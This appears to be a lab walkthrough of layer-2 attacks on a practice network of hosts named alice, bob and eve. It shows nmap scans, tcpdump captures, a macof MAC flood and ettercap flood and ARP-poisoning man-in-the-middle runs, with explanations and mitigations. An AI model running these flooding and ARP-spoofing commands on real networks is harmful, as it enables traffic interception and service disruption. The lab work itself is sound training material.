ARP Spoofing

PreviousIntro to Containerisation NextMindgames

Last updated 1 year ago

Was this helpful?

┌──(kali㉿kali)-[~] └─$ ssh admin@10.10.132.221 The authenticity of host '10.10.132.221 (10.10.132.221)' can't be established. ED25519 key fingerprint is SHA256:QKJ7M2afSUAQcRjyw4fi0Jb4Hik8yPJz4AQI2rAr63A. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.132.221' (ED25519) to the list of known hosts. admin@10.10.132.221's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-100-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 1.0 * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 5 updates can be applied immediately. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update __/\\\______________/\\\_________________/\\\\\\___________________________________________________________________ _\/\\\_____________\/\\\________________\////\\\___________________________________________________________________ _\/\\\_____________\/\\\___________________\/\\\___________________________________________________________________ _\//\\\____/\\\____/\\\______/\\\\\\\\_____\/\\\________/\\\\\\\\_____/\\\\\_______/\\\\\__/\\\\\_______/\\\\\\\\__ __\//\\\__/\\\\\__/\\\_____/\\\/////\\\____\/\\\______/\\\//////____/\\\///\\\___/\\\///\\\\\///\\\___/\\\/////\\\_ ___\//\\\/\\\/\\\/\\\_____/\\\\\\\\\\\_____\/\\\_____/\\\__________/\\\__\//\\\_\/\\\_\//\\\__\/\\\__/\\\\\\\\\\\__ ____\//\\\\\\//\\\\\_____\//\\///////______\/\\\____\//\\\________\//\\\__/\\\__\/\\\__\/\\\__\/\\\_\//\\///////___ _____\//\\\__\//\\\_______\//\\\\\\\\\\__/\\\\\\\\\__\///\\\\\\\\__\///\\\\\/___\/\\\__\/\\\__\/\\\__\//\\\\\\\\\\_ ______\///____\///_________\//////////__\/////////_____\////////_____\/////_____\///___\///___\///____\//////////__ ________________________________________________________________/\\\________________________ _______________________________________________________________\/\\\________________________ _____/\\\____________________________________________/\\\______\/\\\________________________ __/\\\\\\\\\\\_____/\\\\\_________________________/\\\\\\\\\\\_\/\\\_____________/\\\\\\\\__ _\////\\\////____/\\\///\\\______________________\////\\\////__\/\\\\\\\\\\____/\\\/////\\\_ ____\/\\\_______/\\\__\//\\\________________________\/\\\______\/\\\/////\\\__/\\\\\\\\\\\__ ____\/\\\_/\\__\//\\\__/\\\_________________________\/\\\_/\\__\/\\\___\/\\\_\//\\///////___ ____\//\\\\\____\///\\\\\/__________________________\//\\\\\___\/\\\___\/\\\__\//\\\\\\\\\\_ _____\/////_______\/////_____________________________\/////____\///____\///____\//////////__ __/\\\\\\\\\\\\________________________________________________________________________________________ _\/\\\////////\\\______________________________________________________________________________________ _\/\\\______\//\\\_______________________________/\\\\\\\\_____________________________________________ _\/\\\_______\/\\\__/\\\____/\\\__/\\/\\\\\\____/\\\////\\\_____/\\\\\\\\______/\\\\\_____/\\/\\\\\\___ _\/\\\_______\/\\\_\/\\\___\/\\\_\/\\\////\\\__\//\\\\\\\\\___/\\\/////\\\___/\\\///\\\__\/\\\////\\\__ _\/\\\_______\/\\\_\/\\\___\/\\\_\/\\\__\//\\\__\///////\\\__/\\\\\\\\\\\___/\\\__\//\\\_\/\\\__\//\\\_ _\/\\\_______/\\\__\/\\\___\/\\\_\/\\\___\/\\\__/\\_____\\\_\//\\///////___\//\\\__/\\\__\/\\\___\/\\\_ _\/\\\\\\\\\\\\/___\//\\\\\\\\\__\/\\\___\/\\\_\//\\\\\\\\___\//\\\\\\\\\\__\///\\\\\/___\/\\\___\/\\\_ _\////////////______\/////////___\///____\///___\////////_____\//////////_____\/////_____\///____\///__ ______________________/\\\\\___________________________/\\\\\__________/\\\\\\\\\\\____/\\\\\\\\\\\_______ ____________________/\\\///__________________________/\\\///\\\______/\\\/////////\\\_\/////\\\///________ ___________________/\\\____________________________/\\\/__\///\\\___\//\\\______\///______\/\\\___________ _____/\\\\\_____/\\\\\\\\\________________________/\\\______\//\\\___\////\\\_____________\/\\\___________ ___/\\\///\\\__\////\\\//________________________\/\\\_______\/\\\______\////\\\__________\/\\\______/\\\_ __/\\\__\//\\\____\/\\\__________________________\//\\\______/\\\__________\////\\\_______\/\\\_____\///__ _\//\\\__/\\\_____\/\\\___________________________\///\\\__/\\\_____/\\\______\//\\\______\/\\\___________ __\///\\\\\/______\/\\\_____________________________\///\\\\\/_____\///\\\\\\\\\\\/____/\\\\\\\\\\\__/\\\_ ____\/////________\///________________________________\/////_________\///////////_____\///////////__\///__ __/\\\_________________/\\\\\\\\\_____/\\\________/\\\__/\\\\\\\\\\\\\\\____/\\\\\\\\\__________________/\\\\\\\\\_____ _\/\\\_______________/\\\\\\\\\\\\\__\///\\\____/\\\/__\/\\\///////////___/\\\///////\\\______________/\\\///////\\\___ _\/\\\______________/\\\/////////\\\___\///\\\/\\\/____\/\\\_____________\/\\\_____\/\\\_____________\///______\//\\\__ _\/\\\_____________\/\\\_______\/\\\_____\///\\\/______\/\\\\\\\\\\\_____\/\\\\\\\\\\\/________________________/\\\/___ _\/\\\_____________\/\\\\\\\\\\\\\\\_______\/\\\_______\/\\\///////______\/\\\//////\\\_____________________/\\\//_____ _\/\\\_____________\/\\\/////////\\\_______\/\\\_______\/\\\_____________\/\\\____\//\\\_________________/\\\//________ _\/\\\_____________\/\\\_______\/\\\_______\/\\\_______\/\\\_____________\/\\\_____\//\\\______________/\\\/___________ _\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_______\/\\\_______\/\\\\\\\\\\\\\\\_\/\\\______\//\\\____________/\\\\\\\\\\\\\\\_ _\///////////////__\///________\///________\///________\///////////////__\///________\///____________\///////////////__ ____/\\\__/\\\_________________________________________________________________________/\\\\\_ ___\/\\\_\/\\\_______________________________________________________________________/\\\///__ __/\\\\\\\\\\\\\____________________________________________________________________/\\\______ _\///\\\///\\\/_____/\\\\\__/\\\\\____/\\\\\\\\\________/\\\\\\\\_____/\\\\\_____/\\\\\\\\\___ ___\/\\\_\/\\\____/\\\///\\\\\///\\\_\////////\\\_____/\\\//////____/\\\///\\\__\////\\\//____ __/\\\\\\\\\\\\\_\/\\\_\//\\\__\/\\\___/\\\\\\\\\\___/\\\__________/\\\__\//\\\____\/\\\______ _\///\\\///\\\/__\/\\\__\/\\\__\/\\\__/\\\/////\\\__\//\\\________\//\\\__/\\\_____\/\\\______ ___\/\\\_\/\\\___\/\\\__\/\\\__\/\\\_\//\\\\\\\\/\\__\///\\\\\\\\__\///\\\\\/______\/\\\______ ___\///__\///____\///___\///___\///___\////////\//_____\////////_____\/////________\///_______ admin@eve:~$ sudo su - [sudo] password for admin: root@eve:~# root@eve:~# ip a s eth1 5: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 82:5c:e6:fa:1c:c0 brd ff:ff:ff:ff:ff:ff inet 192.168.12.66/24 brd 192.168.12.255 scope global eth1 valid_lft forever preferred_lft forever inet6 fe80::c4ae:baff:fe8a:42e9/64 scope link valid_lft forever preferred_lft forever The command `nmap -sn 192.168.12.66/24` is used to perform a "ping sweep" using the `nmap` tool. The option `-sn` tells `nmap` to perform a "ping scan", which is used to quickly determine which hosts on a network are online. The target of the scan is specified as `192.168.12.66/24`, which means that `nmap` will scan the range of IP addresses from `192.168.12.0` to `192.168.12.255`, inclusive. This type of scan is used to get a quick overview of hosts on a network, without performing a full port scan, which can take much longer to complete. root@eve:~# nmap -sn 192.168.12.66/24 Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-06 15:35 UTC Nmap scan report for alice (192.168.12.1) Host is up (0.00018s latency). MAC Address: 00:50:79:66:68:00 (Private) Nmap scan report for bob (192.168.12.2) Host is up (0.00016s latency). MAC Address: 00:50:79:66:68:01 (Private) Nmap scan report for eve (192.168.12.66) Host is up. or root@eve:~# nmap -sV -sC -p- -v 192.168.12.0/24 Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-06 15:38 UTC NSE: Loaded 151 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 15:38 Completed NSE at 15:38, 0.00s elapsed Initiating NSE at 15:38 Completed NSE at 15:38, 0.00s elapsed Initiating NSE at 15:38 Completed NSE at 15:38, 0.00s elapsed Initiating ARP Ping Scan at 15:38 Scanning 255 hosts [1 port/host] Completed ARP Ping Scan at 15:38, 2.10s elapsed (255 total hosts) Nmap scan report for 192.168.12.0 [host down] Nmap scan report for 192.168.12.3 [host down] Nmap scan report for 192.168.12.4 [host down] Nmap scan report for 192.168.12.5 [host down] Nmap scan report for 192.168.12.6 [host down] Nmap scan report for 192.168.12.7 [host down] Nmap scan report for 192.168.12.8 [host down] Nmap scan report for 192.168.12.9 [host down] Nmap scan report for 192.168.12.10 [host down] Nmap scan report for 192.168.12.11 [host down] Nmap scan report for 192.168.12.12 [host down] Nmap scan report for 192.168.12.13 [host down] Nmap scan report for 192.168.12.14 [host down] Nmap scan report for 192.168.12.15 [host down] Nmap scan report for 192.168.12.16 [host down] Nmap scan report for 192.168.12.17 [host down] Nmap scan report for 192.168.12.18 [host down] Nmap scan report for 192.168.12.19 [host down] Nmap scan report for 192.168.12.20 [host down] Nmap scan report for 192.168.12.21 [host down] Nmap scan report for 192.168.12.22 [host down] Nmap scan report for 192.168.12.23 [host down] Nmap scan report for 192.168.12.24 [host down] Nmap scan report for 192.168.12.25 [host down] Nmap scan report for 192.168.12.26 [host down] Nmap scan report for 192.168.12.27 [host down] Nmap scan report for 192.168.12.28 [host down] Nmap scan report for 192.168.12.29 [host down] Nmap scan report for 192.168.12.30 [host down] Nmap scan report for 192.168.12.31 [host down] Nmap scan report for 192.168.12.32 [host down] Nmap scan report for 192.168.12.33 [host down] Nmap scan report for 192.168.12.34 [host down] Nmap scan report for 192.168.12.35 [host down] Nmap scan report for 192.168.12.36 [host down] Nmap scan report for 192.168.12.37 [host down] Nmap scan report for 192.168.12.38 [host down] Nmap scan report for 192.168.12.39 [host down] Nmap scan report for 192.168.12.40 [host down] Nmap scan report for 192.168.12.41 [host down] Nmap scan report for 192.168.12.42 [host down] Nmap scan report for 192.168.12.43 [host down] Nmap scan report for 192.168.12.44 [host down] Nmap scan report for 192.168.12.45 [host down] Nmap scan report for 192.168.12.46 [host down] Nmap scan report for 192.168.12.47 [host down] Nmap scan report for 192.168.12.48 [host down] Nmap scan report for 192.168.12.49 [host down] Nmap scan report for 192.168.12.50 [host down] Nmap scan report for 192.168.12.51 [host down] Nmap scan report for 192.168.12.52 [host down] Nmap scan report for 192.168.12.53 [host down] Nmap scan report for 192.168.12.54 [host down] Nmap scan report for 192.168.12.55 [host down] Nmap scan report for 192.168.12.56 [host down] Nmap scan report for 192.168.12.57 [host down] Nmap scan report for 192.168.12.58 [host down] Nmap scan report for 192.168.12.59 [host down] Nmap scan report for 192.168.12.60 [host down] Nmap scan report for 192.168.12.61 [host down] Nmap scan report for 192.168.12.62 [host down] Nmap scan report for 192.168.12.63 [host down] Nmap scan report for 192.168.12.64 [host down] Nmap scan report for 192.168.12.65 [host down] Nmap scan report for 192.168.12.67 [host down] Nmap scan report for 192.168.12.68 [host down] Nmap scan report for 192.168.12.69 [host down] Nmap scan report for 192.168.12.70 [host down] Nmap scan report for 192.168.12.71 [host down] Nmap scan report for 192.168.12.72 [host down] Nmap scan report for 192.168.12.73 [host down] Nmap scan report for 192.168.12.74 [host down] Nmap scan report for 192.168.12.75 [host down] Nmap scan report for 192.168.12.76 [host down] Nmap scan report for 192.168.12.77 [host down] Nmap scan report for 192.168.12.78 [host down] Nmap scan report for 192.168.12.79 [host down] Nmap scan report for 192.168.12.80 [host down] Nmap scan report for 192.168.12.81 [host down] Nmap scan report for 192.168.12.82 [host down] Nmap scan report for 192.168.12.83 [host down] Nmap scan report for 192.168.12.84 [host down] Nmap scan report for 192.168.12.85 [host down] Nmap scan report for 192.168.12.86 [host down] Nmap scan report for 192.168.12.87 [host down] Nmap scan report for 192.168.12.88 [host down] Nmap scan report for 192.168.12.89 [host down] Nmap scan report for 192.168.12.90 [host down] Nmap scan report for 192.168.12.91 [host down] Nmap scan report for 192.168.12.92 [host down] Nmap scan report for 192.168.12.93 [host down] Nmap scan report for 192.168.12.94 [host down] Nmap scan report for 192.168.12.95 [host down] Nmap scan report for 192.168.12.96 [host down] Nmap scan report for 192.168.12.97 [host down] Nmap scan report for 192.168.12.98 [host down] Nmap scan report for 192.168.12.99 [host down] Nmap scan report for 192.168.12.100 [host down] Nmap scan report for 192.168.12.101 [host down] Nmap scan report for 192.168.12.102 [host down] Nmap scan report for 192.168.12.103 [host down] Nmap scan report for 192.168.12.104 [host down] Nmap scan report for 192.168.12.105 [host down] Nmap scan report for 192.168.12.106 [host down] Nmap scan report for 192.168.12.107 [host down] Nmap scan report for 192.168.12.108 [host down] Nmap scan report for 192.168.12.109 [host down] Nmap scan report for 192.168.12.110 [host down] Nmap scan report for 192.168.12.111 [host down] Nmap scan report for 192.168.12.112 [host down] Nmap scan report for 192.168.12.113 [host down] Nmap scan report for 192.168.12.114 [host down] Nmap scan report for 192.168.12.115 [host down] Nmap scan report for 192.168.12.116 [host down] Nmap scan report for 192.168.12.117 [host down] Nmap scan report for 192.168.12.118 [host down] Nmap scan report for 192.168.12.119 [host down] Nmap scan report for 192.168.12.120 [host down] Nmap scan report for 192.168.12.121 [host down] Nmap scan report for 192.168.12.122 [host down] Nmap scan report for 192.168.12.123 [host down] Nmap scan report for 192.168.12.124 [host down] Nmap scan report for 192.168.12.125 [host down] Nmap scan report for 192.168.12.126 [host down] Nmap scan report for 192.168.12.127 [host down] Nmap scan report for 192.168.12.128 [host down] Nmap scan report for 192.168.12.129 [host down] Nmap scan report for 192.168.12.130 [host down] Nmap scan report for 192.168.12.131 [host down] Nmap scan report for 192.168.12.132 [host down] Nmap scan report for 192.168.12.133 [host down] Nmap scan report for 192.168.12.134 [host down] Nmap scan report for 192.168.12.135 [host down] Nmap scan report for 192.168.12.136 [host down] Nmap scan report for 192.168.12.137 [host down] Nmap scan report for 192.168.12.138 [host down] Nmap scan report for 192.168.12.139 [host down] Nmap scan report for 192.168.12.140 [host down] Nmap scan report for 192.168.12.141 [host down] Nmap scan report for 192.168.12.142 [host down] Nmap scan report for 192.168.12.143 [host down] Nmap scan report for 192.168.12.144 [host down] Nmap scan report for 192.168.12.145 [host down] Nmap scan report for 192.168.12.146 [host down] Nmap scan report for 192.168.12.147 [host down] Nmap scan report for 192.168.12.148 [host down] Nmap scan report for 192.168.12.149 [host down] Nmap scan report for 192.168.12.150 [host down] Nmap scan report for 192.168.12.151 [host down] Nmap scan report for 192.168.12.152 [host down] Nmap scan report for 192.168.12.153 [host down] Nmap scan report for 192.168.12.154 [host down] Nmap scan report for 192.168.12.155 [host down] Nmap scan report for 192.168.12.156 [host down] Nmap scan report for 192.168.12.157 [host down] Nmap scan report for 192.168.12.158 [host down] Nmap scan report for 192.168.12.159 [host down] Nmap scan report for 192.168.12.160 [host down] Nmap scan report for 192.168.12.161 [host down] Nmap scan report for 192.168.12.162 [host down] Nmap scan report for 192.168.12.163 [host down] Nmap scan report for 192.168.12.164 [host down] Nmap scan report for 192.168.12.165 [host down] Nmap scan report for 192.168.12.166 [host down] Nmap scan report for 192.168.12.167 [host down] Nmap scan report for 192.168.12.168 [host down] Nmap scan report for 192.168.12.169 [host down] Nmap scan report for 192.168.12.170 [host down] Nmap scan report for 192.168.12.171 [host down] Nmap scan report for 192.168.12.172 [host down] Nmap scan report for 192.168.12.173 [host down] Nmap scan report for 192.168.12.174 [host down] Nmap scan report for 192.168.12.175 [host down] Nmap scan report for 192.168.12.176 [host down] Nmap scan report for 192.168.12.177 [host down] Nmap scan report for 192.168.12.178 [host down] Nmap scan report for 192.168.12.179 [host down] Nmap scan report for 192.168.12.180 [host down] Nmap scan report for 192.168.12.181 [host down] Nmap scan report for 192.168.12.182 [host down] Nmap scan report for 192.168.12.183 [host down] Nmap scan report for 192.168.12.184 [host down] Nmap scan report for 192.168.12.185 [host down] Nmap scan report for 192.168.12.186 [host down] Nmap scan report for 192.168.12.187 [host down] Nmap scan report for 192.168.12.188 [host down] Nmap scan report for 192.168.12.189 [host down] Nmap scan report for 192.168.12.190 [host down] Nmap scan report for 192.168.12.191 [host down] Nmap scan report for 192.168.12.192 [host down] Nmap scan report for 192.168.12.193 [host down] Nmap scan report for 192.168.12.194 [host down] Nmap scan report for 192.168.12.195 [host down] Nmap scan report for 192.168.12.196 [host down] Nmap scan report for 192.168.12.197 [host down] Nmap scan report for 192.168.12.198 [host down] Nmap scan report for 192.168.12.199 [host down] Nmap scan report for 192.168.12.200 [host down] Nmap scan report for 192.168.12.201 [host down] Nmap scan report for 192.168.12.202 [host down] Nmap scan report for 192.168.12.203 [host down] Nmap scan report for 192.168.12.204 [host down] Nmap scan report for 192.168.12.205 [host down] Nmap scan report for 192.168.12.206 [host down] Nmap scan report for 192.168.12.207 [host down] Nmap scan report for 192.168.12.208 [host down] Nmap scan report for 192.168.12.209 [host down] Nmap scan report for 192.168.12.210 [host down] Nmap scan report for 192.168.12.211 [host down] Nmap scan report for 192.168.12.212 [host down] Nmap scan report for 192.168.12.213 [host down] Nmap scan report for 192.168.12.214 [host down] Nmap scan report for 192.168.12.215 [host down] Nmap scan report for 192.168.12.216 [host down] Nmap scan report for 192.168.12.217 [host down] Nmap scan report for 192.168.12.218 [host down] Nmap scan report for 192.168.12.219 [host down] Nmap scan report for 192.168.12.220 [host down] Nmap scan report for 192.168.12.221 [host down] Nmap scan report for 192.168.12.222 [host down] Nmap scan report for 192.168.12.223 [host down] Nmap scan report for 192.168.12.224 [host down] Nmap scan report for 192.168.12.225 [host down] Nmap scan report for 192.168.12.226 [host down] Nmap scan report for 192.168.12.227 [host down] Nmap scan report for 192.168.12.228 [host down] Nmap scan report for 192.168.12.229 [host down] Nmap scan report for 192.168.12.230 [host down] Nmap scan report for 192.168.12.231 [host down] Nmap scan report for 192.168.12.232 [host down] Nmap scan report for 192.168.12.233 [host down] Nmap scan report for 192.168.12.234 [host down] Nmap scan report for 192.168.12.235 [host down] Nmap scan report for 192.168.12.236 [host down] Nmap scan report for 192.168.12.237 [host down] Nmap scan report for 192.168.12.238 [host down] Nmap scan report for 192.168.12.239 [host down] Nmap scan report for 192.168.12.240 [host down] Nmap scan report for 192.168.12.241 [host down] Nmap scan report for 192.168.12.242 [host down] Nmap scan report for 192.168.12.243 [host down] Nmap scan report for 192.168.12.244 [host down] Nmap scan report for 192.168.12.245 [host down] Nmap scan report for 192.168.12.246 [host down] Nmap scan report for 192.168.12.247 [host down] Nmap scan report for 192.168.12.248 [host down] Nmap scan report for 192.168.12.249 [host down] Nmap scan report for 192.168.12.250 [host down] Nmap scan report for 192.168.12.251 [host down] Nmap scan report for 192.168.12.252 [host down] Nmap scan report for 192.168.12.253 [host down] Nmap scan report for 192.168.12.254 [host down] Nmap scan report for 192.168.12.255 [host down] Initiating SYN Stealth Scan at 15:38 Scanning 2 hosts [65535 ports/host] Discovered open port 22/tcp on 192.168.12.2 Discovered open port 22/tcp on 192.168.12.1 Discovered open port 554/tcp on 192.168.12.2 .... root@eve:~# cat /etc/hosts 127.0.0.1 localhost 192.168.12.1 alice 192.168.12.2 bob 192.168.12.66 eve # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters

root@eve:~# tcpdump -A -i eth1 -w /tmp/tcpdump.pcap tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes ^C76 packets captured 76 packets received by filter 0 packets dropped by kernel This is a command used in the command-line interface of the `tcpdump` tool. The options used in the command are: - `-A`: This option sets the output format to ASCII. This means that the captured packets will be displayed in a human-readable format, instead of in their raw binary form. - `-i eth1`: This option specifies the interface to be used, in this case, Ethernet interface 1. `tcpdump` will capture and display packets transmitted and received through this interface. - `-w /tmp/tcpdump.pcap`: This option writes the captured packets to a file in the PCAP format. The file will be saved in the `/tmp` directory with the name `tcpdump.pcap`. `tcpdump` is a tool for capturing and displaying network packets. In this command, the `tcpdump` tool is being used to capture packets transmitted and received through Ethernet interface 1 and save the output to a PCAP file. The `-A` option sets the output format to ASCII, so that the captured packets will be displayed in a human-readable format. ┌──(kali㉿kali)-[~/learning_l2_mac] └─$ scp admin@10.10.132.221:/tmp/tcpdump.pcap . admin@10.10.132.221's password: tcpdump.pcap 100% 51KB 50.9KB/s 00:01 ┌──(kali㉿kali)-[~/learning_l2_mac] └─$ file tcpdump.pcap tcpdump.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144) ┌──(kali㉿kali)-[~/learning_l2_mac] └─$ wireshark tcpdump.pcap

A MAC Flood attack is a type of denial-of-service (DoS) attack that targets the Media Access Control (MAC) address table of a network switch. The goal of this attack is to exhaust the MAC address table of the switch, causing it to flood broadcast traffic to all devices on the network. This flood of broadcast traffic can cause the switch to become overwhelmed and unavailable, leading to a disruption of network services. The attacker typically sends a large number of packets to the target switch with fake or randomly generated source MAC addresses. The switch stores these addresses in its MAC address table and uses them to forward traffic to the correct destination. As the number of fake MAC addresses grows, the switch eventually runs out of space in its MAC address table, causing it to flood broadcast traffic to all devices on the network. Mac Flood attacks can be mitigated by configuring port security on switches, which limits the number of MAC addresses that can be learned on a given port. Network administrators can also implement security measures such as implementing VLANs, implementing Access Control Lists (ACLs), and deploying intrusion detection and prevention systems (IDS/IPS). root@eve:~# tcpdump -A -i eth1 -w /tmp/tcpdump2.pcap tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes ^C58664 packets captured 58664 packets received by filter 0 packets dropped by kernel root@eve:~# macof -i eth1 b8:27:46:20:85:1a 98:5:f8:6a:a0:0 0.0.0.0.46286 > 0.0.0.0.59788: S 377004878:377004878(0) win 512 39:6c:5e:45:bd:88 25:cb:e2:2b:55:97 0.0.0.0.50481 > 0.0.0.0.4103: S 334728273:334728273(0) win 512 b9:c:63:1f:6c:25 c7:95:f:32:4f:95 0.0.0.0.4356 > 0.0.0.0.8062: S 1859715379:1859715379(0) win 512 d3:aa:6f:2c:b:38 70:91:f0:b:d3:c7 0.0.0.0.675 > 0.0.0.0.28025: S 1665627953:1665627953(0) win 512 5f:3c:47:1a:10:c f:95:17:30:ae:4d 0.0.0.0.19167 > 0.0.0.0.59542: S 1999753976:1999753976(0) win 512 d6:cc:3b:63:45:f6 34:a5:5c:6b:e8:77 0.0.0.0.31699 > 0.0.0.0.7321: S 1793164719:1793164719(0) win 512 3:c4:72:5b:d3:47 10:6e:da:35:d6:bc 0.0.0.0.11714 > 0.0.0.0.4682: S 5097922:5097922(0) win 512 8c:55:27:79:b6:20 ad:5a:9d:39:da:13 0.0.0.0.19965 > 0.0.0.0.14660: S 361171648:361171648(0) win 512 .... This is a command used in the command-line interface of the `macof` tool. The options used in the command are: - `-i eth1`: This option specifies the interface to be used, in this case, Ethernet interface 1. `macof` is a tool for generating random MAC addresses, which are used to identify devices on a network. In this command, the `-i` option is specifying the network interface through which the MAC addresses will be generated and transmitted. Note: The use of `macof` for malicious purposes is illegal and unethical, and it should only be used for educational or research purposes. ┌──(kali㉿kali)-[~/learning_l2_mac] └─$ scp admin@10.10.132.221:/tmp/tcpdump2.pcap . admin@10.10.132.221's password: tcpdump2.pcap 100% 4079KB 564.7KB/s 00:07 ┌──(kali㉿kali)-[~/learning_l2_mac] └─$ wireshark tcpdump2.pcap - `d3:aa:6f:2c:b:38 70:91:f0:b:d3:c7`: The first two fields represent the source and destination MAC addresses of the packet, respectively. - `0.0.0.0.675 > 0.0.0.0.28025`: The next two fields represent the source and destination IP addresses of the packet, respectively. Note that the IP addresses here appear to be formatted incorrectly, as they contain multiple dots. - `S`: This represents the packet type, in this case, a "SYN" packet. SYN packets are used to initiate a TCP connection. - `1665627953:1665627953(0)`: This field represents the sequence number and acknowledgment number of the packet. - `win 512`: This field represents the "window size" of the packet, which determines the maximum amount of data that can be sent in a single TCP segment. uhmm same like before root@eve:/tmp# ettercap -T -i eth1 -P rand_flood -q -w /tmp/tcpdump2.pcap ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team Listening on: eth1 -> 82:5C:E6:FA:1C:C0 192.168.12.66/255.255.255.0 fe80::c4ae:baff:fe8a:42e9/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 34 plugins 42 protocol dissectors 57 ports monitored 24609 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 1 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Activating rand_flood plugin... rand_flood: Start flooding the LAN... Closing text interface... Terminating ettercap... Lua cleanup complete! Unified sniffing was stopped. This is a command used in the command-line interface of the Ettercap tool. The options used in the command are: - `-T`: This option sets the text-only interface mode. - `-i eth1`: This option specifies the interface to be used, in this case, Ethernet interface 1. - `-P rand_flood`: This option sets the flood attack mode. The `rand_flood` option specifies a random flood attack, which is a type of denial-of-service (DoS) attack that involves sending a large number of random packets to a target network. - `-q`: This option is used to run Ettercap in quiet mode, which suppresses output messages. - `-w /tmp/tcpdump3.pcap`: This option writes the captured packets to a file in the PCAP format. The file will be saved in the `/tmp` directory with the name `tcpdump3.pcap`. Note: The use of Ettercap for malicious purposes is illegal and unethical, and it should only be used for educational or research purposes. root@eve:~# nmap -sn 192.168.12.66/24 Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-06 16:22 UTC Nmap scan report for bob (192.168.12.2) Host is up (0.00021s latency). MAC Address: 00:50:79:66:68:01 (Private) Nmap scan report for eve (192.168.12.66) Host is up. Nmap done: 256 IP addresses (2 hosts up) scanned in 2.82 seconds I see the problem alice is off restarting machine ip.src == 192.168.12.1 now work :)

ARP (Address Resolution Protocol) cache poisoning, also known as ARP spoofing, is a type of network attack in which an attacker sends false ARP messages to a network, causing the mapping between IP addresses and MAC addresses to become incorrect. This results in the attacker being able to intercept, modify, or redirect network traffic intended for other devices on the network. The attack works by tricking the target device into believing that the attacker's MAC address is associated with the IP address of another device on the network, such as a router or server. This causes the target device to send all its network traffic to the attacker instead of its intended destination. The attacker can then use this intercepted traffic to steal sensitive information, inject malware, or perform other malicious actions. To prevent ARP cache poisoning, network administrators can use techniques such as static ARP entries, ARP inspection, and IP/MAC binding. Additionally, using encrypted protocols like HTTPS and VPNs can help protect against ARP cache poisoning attacks. A man-in-the-middle (MITM) attack is a type of security attack in which an attacker intercepts and alters communication between two parties. In this type of attack, the attacker intercepts communication by positioning themselves between the two communicating parties and masquerading as the intended recipient of the communication. The attacker can then modify the communication before passing it on to the intended recipient, effectively allowing them to control or manipulate the flow of information. MITM attacks can be performed in various ways, such as ARP spoofing, DNS spoofing, and wireless eavesdropping. The goal of these attacks is often to steal sensitive information, such as passwords, credit card numbers, or other sensitive data. To prevent MITM attacks, it is important to use encryption technologies such as HTTPS and SSL, use secure protocols like SSL/TLS, and verify the identity of websites and servers using secure certificates. Additionally, using strong passwords, regularly updating software and applications, and being cautious of suspicious emails or links can also help prevent these types of attacks. root@eve:~# ettercap -T -i eth1 -M arp ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team Listening on: eth1 -> 0E:3B:9B:F3:C9:75 192.168.12.66/255.255.255.0 fe80::34f2:9ff:fe2e:7638/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 34 plugins 42 protocol dissectors 57 ports monitored 24609 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... / |=========> | 16.08 % Mon Feb 6 16:51:22 2023 [221951] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:22 2023 [221980] 192.168.12.66:0 --> 192.168.12.2:0 | (0) / |===========================> | 53.73 % Mon Feb 6 16:51:25 2023 [237045] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:25 2023 [237071] 192.168.12.66:0 --> 192.168.12.2:0 | (0) / |=============================================> | 89.80 % Mon Feb 6 16:51:28 2023 [258116] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:28 2023 [258141] 192.168.12.66:0 --> 192.168.12.2:0 | (0) * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Mon Feb 6 16:51:30 2023 [129061] 192.168.12.2:0 --> 192.168.12.1:0 | (0) Mon Feb 6 16:51:30 2023 [129277] 192.168.12.1:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:30 2023 [172450] 192.168.12.1:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:30 2023 [172592] 192.168.12.2:0 --> 192.168.12.1:0 | (0) Mon Feb 6 16:51:31 2023 [267043] 192.168.12.2:0 --> 192.168.12.66:0 | P (0) Mon Feb 6 16:51:31 2023 [267070] 192.168.12.66:0 --> 192.168.12.2:0 | (0) Mon Feb 6 16:51:34 2023 [268103] 192.168.12.2:0 --> 192.168.12.66:0 